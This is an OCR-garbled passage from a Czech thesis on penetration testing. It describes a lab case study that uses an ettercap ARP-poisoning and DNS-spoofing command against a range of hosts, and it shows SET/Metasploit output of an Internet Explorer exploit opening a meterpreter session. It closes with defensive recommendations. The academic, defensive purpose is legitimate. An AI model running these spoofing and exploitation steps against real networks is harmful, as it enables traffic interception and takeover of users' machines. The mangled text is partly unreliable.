www.uhk.cz PTR 192.168.2.200

V konfigura&nim souboru Ettercap byl vytien DNS zaznam, kteryfipdotazu na
www.uhk.cz vréti IP adresu pibace testera, kde jiz buddipravena podvrZzena webova
stranka s vloZzenym Skodlivym kédem. Nezbyva, nédsmérovat na poitac testera
veskery provoz, ktery pak tentodita¢ bude posilat na legitimni vychozi branu segmentu,
na kterém test probih&. To zajisti nasledujftigz.

ettercap -T -1 etho® -P dns_spoof -M arp /192.168.2.113-119/ //

Timto prikazem je programu Etterc&pceno, Ze prace bude probihat v textovém rezimu
a faleSné ARP ramce budou vysilany na rozhrani, ethle@ aby Ettercap tetl zasuvny
modul dns_spoof, nasleduje definice Zigobu utoku (v tomto konkrétnimiipack
podvrhovani ARP ranig a jako posledni je Ettercapeteno, Ze poitace, jejichz posledni
oktet IP adresy kath nacislem z intervalu <113;119>, maji mit veSkery progoerovan

na paitatt testera. Nasledujici odstavec seznamuje s vysiedk& etapy peneitaiho
testu.

VySe popsany Zisob Utoku je roz&len na d¢ etapy. Poitace, u nichz byly zkoumany
nasledky tohoto utoku, Ize z hlediska odolnostidétiz do tfi skupin: p@itace Gtokem
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neovlivné, pditate Utokem ovlivené casténé¢ a paitate Gtokem ovliviné plre.
Prifazeni konkrétniho @itace do konkrétni skupiny znazaje tabulka 11.

Potitaé Mira napadnutelnosti

192.168.2.113 -

192.168.2.115 Mozno dosahnout DoS tohoto serveru, otravit
ARP cache a podvrhnout DNS odgdv

192.168.2.116 Lze otravit ARP cache a podvrhnout DNS
odpowdi.

192.168.2.117 Lze otravit ARP cache a podvrhnout DNS
odpowdi.

192.168.2.118 Lze otravit ARP cache a podvrhnout DNS
odpowdi.

192.168.2.119 PIna — Ize navazat meterpreter relaci.

Tabulka 12 - Shrnuti vysledki testu realizovaného nastrojem SET

Pctita¢ s IP adresou 192.168.2.119 byl jako jediny napaudeh— tester Usgsre navazal
meterpreter relaci a ziskal tak nadcip@em neomezenou moc. Z tohotévddu bude
v kratkosti vys¥tleno, jakym zpgsobem se zd#o testerovi tuto meterpreter relaci
navazat.

Poté, co byly na 8dvém segmentu spadajicim do rdmce testu otravery @fRe tabulky
testovanych pitacu, nezbyvalo, nez aby kazdy zgiacu pristoupil na podvrhnutou
doménu. V pipact pccitace s adresou 192.168.2.119 vypaddstpp na tuto doménu tak,
jak jej znazoiiuje obrazek 26.

B 4 & LaalggL =l A A
| Adresa l&j http: ffwww.uhk.czf

@] Otevirani strénky http://192.168.2.200:8080/yrRID. | NN

Obrazek 26 - Fistup klienta na podvrhnutou adresu

Je @ividné, Ze uzivatel je sénovan jinam, nez si ve skuteosti mysli. Je to dano tim, ze
pristoupil na podvrhnutou stranku ungsbu na poitaci testera s IP adresou 192.168.2.200
a do této stranky bylo zakomponovantegnérovani webovou stranku se Skodlivym
kédem umisinym tamtéz. Pro Uplnost zbyva pouze doplnit vygtmastroje SET.

[*] 192.168.2.119 msl1l0® 018 ie behaviors - Sending Internet
Explorer DHTML Behaviors Use After Free (target: IE 6 SPO-SP2
(onclick))...

[*] Sending stage (752128 bytes) to 192.168.2.119

[*] Meterpreter session 7 opened (192.168.2.200:3333 ->
192.168.2.119:1085) at 2013-05-07 20:14:04 +0200
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K uvedenému vystupu jegeba dodat pouze to, Ze SET rozpoznal internetoofliae:

a jeho verzi, kterou uzivatel pouziv&epneroval uzivatele na stranku s kédem, jez je
schopen vyuzit ¢které ze zranitelnosti v onom prohkiZea poté, co byla zranitelnost
nasledg zneuzita, byly ginény kroky k navazani meterpreter relace. Po vykopékazu
pro vypis navazanych meterpreter relaci ziskagts#sledujici vystup.

7 meterpreter x86/win32 XP-OFFICE\office @ XP-OFFICE
192.168.2.200:3333 -> 192.168.2.119:1085 (192.168.2.119)

Meterpreter relace je navazanagsfmouze pikazemsessions -i 7 z&it s touto relaci
interagovat.

Tato etapa penettaiho testu dokazala, Zze ant,sv niZ se nachazeji pibace prosty
zranitelnosti, si nefize byt jista, Ze je pthochrarna ged utoky vSeho druhu. Pokud se
nezddi napadnout ¢ktery z p@itaca do té miry, Ze je mozno navazat meterpreter relaci
lze v této poitacove siti provést f@snerovani provozu na ita¢ utacnika a tento provoz
nasledg odposlouchavat. Z odposlechnutych dat Ize naslezktrahovat citlivé Udaje
a s tmito dale nakladat bezdomi uzivatele.

5.3 Zhodnoceni a doporuceni

Prokehly penetréni test pedstaveny vigdchozichcastech této kapitoly jistzaslouzi
shrnout a zhodnotit. Také jéeba v souladu s metodikou OSSTMM zadavateli testtu
srozumitelnou formou stit objevené skuténosti a pidat seznam dopoteni obsahujici
popis nejnutgjSich kroki vedoucich k naprav zjisttného stavu, pokud toto situace
vyZaduje.

Jako prvni bylo provedeno testovani zabéepé serveru s opefaim systémem Linux,
ktery tvai hranici mezi testovanou siti a internetem. Stalvezpéeni tohoto kritického
systému Ize zhodnotit jako nedostag Zasadnim problémem je fakt, Ze heslo pouzivané
uzivatelem root je mozno odhalit slovnikovym atokentasovém useku trvajicim
jednotky hodin. V jistych situacich ke byt tedy heslo odhalenofive, nez se
kompetentni osoby o probihajicim Gtoku dozvi. Nemeéavaznym proteSkem proti
bezpeénosti je skuténost, Ze zji&né heslo bylo akceptovano i serverem vermniti.

Nasledoval proces zjidvani informaci o vniti siti z pozice Gténika v internetu. Nejprve
bylo zkouméano, které systémy ve ¥hisiti Ize z internetu dohledat a poté na nalezenyc
systémech byly zji®vany dostupné sluzby. Zde byl test na vektoruerietu do vnini
sit ukorten, neb6 samotné zranitelnosti programového vybavenditpdi v siti byly
zkoumany zevnit Z porovnani obrazk24 a 25 stranach 74 a gbziejmé, Ze zkoumanou
sitt bylo mozno zmapovat komplétmavzdory firewallu implentovanému na hraxim
smérova’i. Stalo se tak pravzéasluhou UDP scanu. Z tohoto faktu Ize vyvoditpéavidla
firewallu oSetuji provoz zaloZzeny na protokolu UDP nedostate Situace, kdy jsou na
firewallu detail® nastaveny pravidla pro provoz zaloZzeny na protoKoCP a provozu

s

pracujicim na protokolu UDP jesmovana vyrazé nizSi mira pozornostieni v technické
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praxi rozhods raritou. Etapa penetfaiho testu zkoumajici tsiza firewallem z pozice
atocnika v internetu tak dokazala, Ze i pomoci protokdDP Ize o siti zjistit zajimavée
a mnohdy citlivé informace.

Rozdil vysledk, které poskytly jednotlivé pgekumové techniky programu Nmap
znazotuje nasledujici graf na obrazku 27. Tento obraaék zdiraziuje nutnost revize
a reimplementace pravidel firewallu.

Pocet nalezenych stanic

B Pocet
nalezenych
stanic

ACK ICMP ubP

Druh skenu

Obrazek 27 - Rozdil nalezenych IP adresipriznych prizkumovych tenchnikdch programu NMAP

Testovani vniini si€ z pozice Uténika ipojeného do vnihi si€ bylo provedeno jako
tireti v pdadi. Na vSech pidtacich do této sé pripojenych byly zjis&ny bezpénostni
nedostatky. Nicménzavaznostéchto nedostatk byla na jednotlivych pfitacich velmi
odliSna. Na jedné strarspektra stoji péitace, u nichZ je mozno pouze zZjd¥at informace
citlivgjSiho charakteru jako n#glad domény ulozené v DNS cache a na druhé &tran
spektra stoji p&itace, které Ize bdi vyradit z provozu DoS utokem nebo nad nimi ziskat
neomezenou moc navazanim meterpreter relacéet Ppavaznych zranitelnosti na
jednotlivych paitacich zjiS€nych ve vnitni siti znazaiuje nasedujici obrazek. Jedna se
0 kombinaci vysledk z nastroj Nessus a OpenVAS fipemz pokud se u jednotlivych
pocitacu liSil vysledek, byla fi tvorbé grafu brdna v potaz vzdy vySSi hodnotatpo
nalezenych zranitelnosti. Jde o vysledek testovamiitini si€, neba cinit zawry na
zaklad vysledki testu provedeného z pozice za firewallem by pdatcasmysl, nekbd
firewall by tyto vysledky mohl zkreslit.
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Pocet nalezenych zavaznych zranitelnosti
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Obrazek 28 - Pd&et nalezenych zranitelnosti na jednotlivych stanich

Jako posledni byly zkomano, jaké nasledky proéitade bude mit situace, kdy uzivatelé
pocitatové sit podlehnou Utoku zaloZzenému na technikdch socilivibenyrstvi. Aby
tento utok mohl byt realizovan, byléeba nejprve ovlivnit $dbvy provoz a az poté se
uchylit k samotnym technikdm socialniho inzenyrs&/vyjimkou doménoveho kontroleru
podlehly procesu ovlisovani sfoveho provozu pomoci nevyzadanych ARP zprav
vSechny poitace i servery. Samotny Gtok pomoci metod socialnfiamyrstvi nil pak
nasledky pro dva pitace. Jednalo se o sekundarni DNS server, kde doBleSkutoku
vlivem vycerpani dostupné paitn RAM pfi pristupu na webovou strdnku se Skodlivym
kodem a déle Slo o klientskou stanici s OS WindoWsSP1, kde se ztilb ovladnout
stanici zcela — bylo moZno navazat meterpreteciela

VySe popsané skuteosti by n&ly management spalrosti gimét k rozhodnuti

o realizaci zasadni revize zabegg® vypd@etni techniky a datové &itNa hraninim
smérova’i a firewallu zarové je nutné provest revizi pravidel firewallu a zapreat
piedevsim vhodna pravidla provgidi restrikce provozu zalozeného na protokolu UDP
tak, aby moznost zjistit informace o siti byla mmailizovana.

Jako dalSi krok by bylo vhodné vyiViba uplatiovat politiku aktualizaci uzivatelskych
stanic i servet, neba@ tyto jsou mnohdy ohroZeny neaktualnim softwarengbami, jez
tento software obsahuje. Nelze se spokojit se stakely na klientskych staniciched
software vyrobcem jiz nepodporovatiysoftware, ktery byl naposledy aktualizovaieg
n¢kolika lety, jako je tomu vipadt pctitaca s operanimi systémy Windows XP SP1,
Windows 98¢ Ubuntu Linux 7.04.Retené plati i pro serverovotést si&. Doménovy
kontroler, ktery je bezpochyby kritickym prvkem €glcitacové sit je mozno opakovan
vyfazovat z provozu zneuzivanim chyby v RpBtokolu, konkréta verze 7.1. V fipad
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sekundarniho DNS serveru této domény lze dosaholodbbného stavu, pouze jinymi
prostedky. Ri¢inou tchto moznych problém jsou pra¢ chybsjici aktualizace od
vyrobai software.

Jelikoz byl uspSny proces manipulace tevého provozu i na novych opérdch
systémech (Linux server 12.04 LTS), dopmje se zvySit Urove zabezp&eni i samotné
datové sit. V dnesni dob trh nabizi inteligentni aktivni givé prvky, které jsou schopny
provadt inspekci provozu na L2 vrstva definovat, zdali se jedna o korektni provoz
a tudiz ma byt propusit, ¢i zdali jde o probihajici utok a jéeba mu zabranit. Konkré&tn
se jedna o switche s funkci DHCP snooping, dynarRP inspection a také
broadcast-storm control. Budou-li v siti implemerdtoy tyto ochranné mechanismy, pak
absence ochrannych mechanismsamotnych opeéaich systémechijpojenych pdéitaca

jiz nebude pedstavovat vazisi riziko — Gtok bude zastavertivke, nez std na tyto
piipojena zéizeni \vaibec dosahnout.
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6 Zaver

Cilem prace bylo v teoretickéasti gedstavit problematiku penetrdch tesh a také
predstavit dlezité terminy spjaté s touto problematikou. Dakk ylo teba provést
reSerSi nejnayjSich trend této problematiky. Praktick&st prace fgdstavuje fipadovou
studii, na niZ byly prezentovany nejriési trendy z oblasti penetnaiho testovani.

V Gvodu teoretickécasti byl ¢ten& uveden do terminologie svazané s problematikou
penetrgniho testovani, jejiz znalost je Zadouci pro ponmni dalSim kapitolam.

V dalSich kapitolach se pracénovala metodikam NIST SP800-115 a OSSTMM, které se
tykaji problematiky penettaiho testovani, aby mohlo byt stanoveno, na zékldadré

Z chto dvou metodik bude realizovandipadova studie. Zthto metodik byla pro
pouziti v gipadové studii vybrana pr&VOSSTMM, neb6 oproti publikaci od institutu
NIST se problematikou penetrdch tesk zabyva s ¥tSi mirou detailu. Teoretick&ast
nasledg predstavila nastrojediné uzivané k penetéaimu testovani, aby pouzittdhto
nastrofi mohlo byt prakticky pedvedeno naifpadové studii. Rowt bylo zjiS€no, Ze tyto
nastroje jsou mezi sebou neporovnatelné, tiddaddy z nastrdj v procesu penetéaiho
testovani méa ditou roli, plni ugity dkol a na vysledky¢innosti jednoho nastroje
bezprostedre navazujeinnost jiného nastroje.

V praktické c¢asti prace, v kapitolach 5.2.3 a 5.2.4 bylo prokézaze stZejnim
piedpokladem pro spravnost a Uplnost provedeni p@nétio testu je volba spravné sady
nastrofi, jez budou testerovi napomocnii pealizaci penetiniho testu. Tato skuteost
byla evidentni v situaci, kdy byla v opénam systému objevena zranitelnost a bykba
zZjistit, jak této zranitelnosti zneuzit ve présp penetréniho testera. JelikoZ byl nasazen
MSF, byla tato operace otazkowknolika malo Ukomi — konkrétg vyhledani exploitu
a nastaveni voleb tohoto exploitu. Poté nasledopalen jeho spugni. Pokud by tester
zamyslel realizovat tutdinnost bez asistence MSkjiného frameworku, zabraly by tyto
Ukony daleko vice¢asu, nebth by musel nejprve vyhledat informace o Zjistch
zranitelnostech cilového systému, naste@ro tyto zranitelnosti zajistit exploity a poté
nastudovat jejich pouziti. Fakt, Ze tvrzeni @leditosti vykEru vhodnych nastréj pro
plnéni stanovenych Ukalneplati pouze v oblasti penatndho testovani ale i v mnohych
dalSich oblastech, dokazuje i vyrok byvalého prexzid Spojenych statAmerickych,
Abrahama Lincolna. Tento vyrok zni: ,Kdybychéhza osm hodin pokacet strom, stravil
bych Sest hodin brousenim sekery*.

Dale prace v kapitolach 5.2.3 a 5.2.4 prakticky aiaa, Ze i noySi operani systémy
mohou obsahovat zavazné bexpestni chyby, fcemz pokud nejsou tyto chyby z@as
objeveny a odstramy, mohou pro infrastrukturuiredstavovat zavaznou hrozbu, ktera by
Sla g@irovnat k¢asované bonth V pctitacove siti fedstavené ifjpadové studie se jednalo
piedevSim o doménovy kontroler s op#rian systémem Windows server 2008R2 a jeho
zranitelnost souvisejici s protokolem RDP ve verzil, kterd umafovala server
opakova® vyrazovat z provozu pomoci DoS uftokJ ostatnich servérvéetnd serveru
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s operanim systémem Ubuntu 12.04LTS bylo mozno vzdélexnit obsah ARP cache
a tim padem bylo mozno odposlouchavébey provoz &chto server a stanic.

Je zejmé, Ze problematika zabezpai operaénich systém a datovych siti je v dnesni
doke kybernetickych atok aktualnim tématem pro vSechny organizace bez ohled
na velikost¢i geografickou polohu. Prace takude slouzit jako zdroj informaci pro
novaky v oblasti bezp@osti operénich systém a datovych siti a takéirbe byt inspiraci
pro realizaci penettaiho testu na zaklgdgredstavenéifpadové studie.

Moznosti, jak by Sla tato pradce dale réitSije penetréni testovani webovych
informatnich systém. | pro tuto oblast penetmiho testovani existuji metodiky, podle
nichz je mozno postupovat. Jednodchto metodik je OWASP.
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8 Seznam p¥iloh

Priloha 1 — CD s vysledky scam auditi realizovanych nastroji Nessus a OpenVAS
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